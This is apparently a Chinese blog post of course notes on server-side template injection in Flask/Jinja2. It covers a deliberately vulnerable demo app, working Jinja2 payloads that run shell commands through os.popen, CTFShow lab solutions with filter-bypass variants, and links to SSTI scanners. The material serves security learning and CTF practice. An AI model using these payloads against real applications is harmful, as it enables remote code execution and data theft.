第70天:WEB攻防-Python安全&SSTI模版注入&Jinja2引擎&利用绕过项目&黑盒检测
本文发布于476天前,本文最后更新于476 天前,其中的信息可能已经过时,如有错误请留言或评论。

知识点

  1. Python安全-SSTI注入-类型&形成&利用&项目

演示案例

➢Python-SSTI注入-类型&形成&利用&项目

什么是SSTI

  • SSTI(Server Side Template Injection,服务器端模板注入)服务端接收攻击者的输入,将其作为Web应用模板内容的一部分
  • 在进行目标编译渲染的过程中,进行了语句的拼接,执行了所插入的恶意内容
  • 从而导致信息泄露、代码执行、GetShell等问题,其影响范围取决于模版引擎复杂性,

注意:模板引擎和渲染函数本身是没有漏洞的,该漏洞产生原因在于模板可控引发代码注入

各语言框架SSTI

  • PHP:smarty、twig
  • Python:jinja2、mako、tornad、Django
  • java:Thymeleaf、jade、velocity、FreeMarker

Python-SSTI形成

测试代码,就是后面进行测试运行的网站

from flask import Flask, request, render_template_string
from jinja2 import Template

app = Flask(__name__)

@app.route('/')
def index():
    name = request.args.get('name', default='xiaodi')
    t = '''
    <html>
        <h1>Hello %s</h1>
    </html>
    ''' % (name)
    # 将一段字符串作为模板进行渲染
    return render_template_string(t)
app.run()

正常来说从传入name参数值是什么就会渲染什么,但是有模板引擎解析符号,从而将符号内的东西进行执行

http://127.0.0.1:5000/?name=SuYou
Hello SuYou
http://127.0.0.1:5000/?name={{2*33}}
Hello 66
http://127.0.0.1:5000/?name=2*33
Hello 2*33

Python-SSTI利用

相关利用知识

__class__ 类的一个内置属性,表示实例对象的类。
__base__ 类型对象的直接基类
__bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性 
__mro__ method resolution order,即解析方法调用的顺序;此属性是由类组成的元 组,在方法解析期间会基于它来查找基类。
__subclasses__() 返回这个类的子类集合,每个类都保留一个对其直接子类的弱引用列表。该方法返回一个列表,其中包含所有仍然存在的引用。列表按照定义顺序排列。
__init__ 初始化类,返回的类型是function
__globals__ 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
__dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__getattribute__() 实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。
__import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
__str__() 返回描写这个对象的字符串,可以理解成就是打印出来。
url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且get_flashed_messages.__globals__['__builtins__']含有current_app。
lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
current_app 应用上下文,一个全局变量。
request 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1 get传参
request.values.x1 获取url中get传递参数
request.cookies cookies参数
request.headers 请求头参数
request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data post传参 (Content-Type:a/b)
request.json post传json (Content-Type: application/json)
config 当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
g {{g}}得到<flask.g of 'flask_ssti'>

测试流程

下面的语句均拼接到模板渲染的接收参数处,这里我们均拼接到url的name值处http://127.0.0.1:5000/?name=2*33

  1. 判断利用,使用以下语句查看当前环境中哪些类可用
    {{''.__class__.__base__.__subclasses__()}}
  2. 查找利用类索引
    下面是可利用的类,找到其索引,索引从0开始排序,根据环境不同,索引也不同,所以需要实际情况分析

    <class 'os._wrap_close'>
  3. 使用以下语句显示类方法,在其中寻找利用类方法
    {{''.__class__.__base__.__subclasses__()[133].__init__.__globals__}}
  4. 构造利用类方法
    {{''.__class__.__base__.__subclasses__()[133].__init__.__globals__.popen('calc')}}

其他引用利用

{{[].__class__.__base__.__subclasses__()}}
{{[].__class__.__base__.__subclasses__()[133].__init__.__globals__}}
{{[].__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('calc')}}
config:{{config.__class__.__init__.__globals__['os'].popen('calc')}}
url_for:{{url_for.__globals__.os.popen('calc')}}
lipsum:{{lipsum.__globals__['os'].popen('calc')}}
get_flashed_messages:{{get_flashed_messages.__globals__['os'].popen('calc')}}

演示(绕过限制-CtfShow项目)

ctfshow-ssti参考:https://blog.csdn.net/m0_74456293/article/details/129429424

  • Web 361 无过滤
    ?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__.popen('cat /flag').read()}}

    system是无回显的,之所以使用popen是因为自带读取函数read,可以得到执行命令的结果进行回显

  • Web 362 过滤数字2 3
    ?name={{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}

    在前面的flask的代码里面测试了一下,那个[]里面的数字可以进行运算,支持*/,/之前要加个/进行转义,所以应该也可以填入一个可以计算出132并且不含23的式子,这样应该也可以绕过这个过滤

  • Web 363 过滤单引号
    ?name={{config.__class__.__init__.__globals__[request.args.a].popen(request.args.b).read()}}&a=os&b=cat /flag
  • Web 364 过滤单引号+args
    ?name={{config.__class__.__init__.__globals__[request.values.a].popen(request.values.b).read()}}&a=os&b=cat /flag
  • Web 365 过滤了中括号
    ?name={{url_for.__globals__.os.popen(request.values.c).read()}}&c=cat /flag
  • Web 366 过滤了下划线
    ?name={{(lipsum|attr(request.values.a)).os.popen(request.values.b).read()}}&a=__globals__&b=cat /flag

绕过总结

过滤数字

使用没有数字的payload,或者拼凑一下不过滤的数字

config:{{config.__class__.__init__.__globals__['os'].popen('calc')}} 
url_for:{{url_for.__globals__.os.popen('calc')}} 
lipsum:{{lipsum.__globals__['os'].popen('calc')}} 
get_flashed_messages:{{get_flashed_messages.__globals__['os'].popen('calc')}}

过滤单引号

类似参数逃逸,过滤原本的参数,但不过滤自己添加的参数,使用url参数替代函数和命令,如下

?name={{config.__class__.__init__.__globals__[request.args.a].popen(request.args.b).read()}}&a=os&b=cat /flag

过滤指定字符

如args,那就可以替换使用values或者cookies

?name={{config.__class__.__init__.__globals__[request.values.a].popen(request.values.b).read()}}&a=os&b=cat /flag

过滤中括号和单引号

?name={{url_for.__globals__.os.popen(request.values.c).read()}}&c=cat /flag

过滤下划线

使用|attr(),这个在文末我提到的文章里面有讲到

?name={{(lipsum|attr(request.values.a)).os.popen(request.values.b).read()}}&a=__globals__&b=cat /flag

Python-SSTI项目

  • 黑盒中建议判断利用:
    • tplmap的github地址:https://github.com/epinna/tplmap
      • 这个需要用python2执行,貌似还得用pip2安装requirements.txt,我整了一下午没搞好
      • 而且这个不能检测本地的,不建议使用
    • SSTImap的github地址:https://github.com/vladko312/SSTImap
      • 这个是python3,而且可以测试本地,推荐使用这个,两个功能是差不多的,但这个支持更多
    • 提交的数据页面中有响应即显示即可进行SSTI测试,有点类似XSS黑盒检测
    • 手工检测需要知道是什么引擎,并且知道该引擎的模板引擎解析符号是什么
  • SSTI靶场集合:https://github.com/Pav-ksd-pl/websitesVulnerableToSSTI
    • 这个是小迪

推荐

这里是我自己找到一些资料,都是大佬,大家感兴趣可以看看,

淡淡说一句,大佬NB,真的牛

参考

学习内容均来自小迪安全系列课程:http://xiaodi8.com/

Python SSTI漏洞学习总结:https://www.cnblogs.com/tuzkizki/p/15394415.html

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇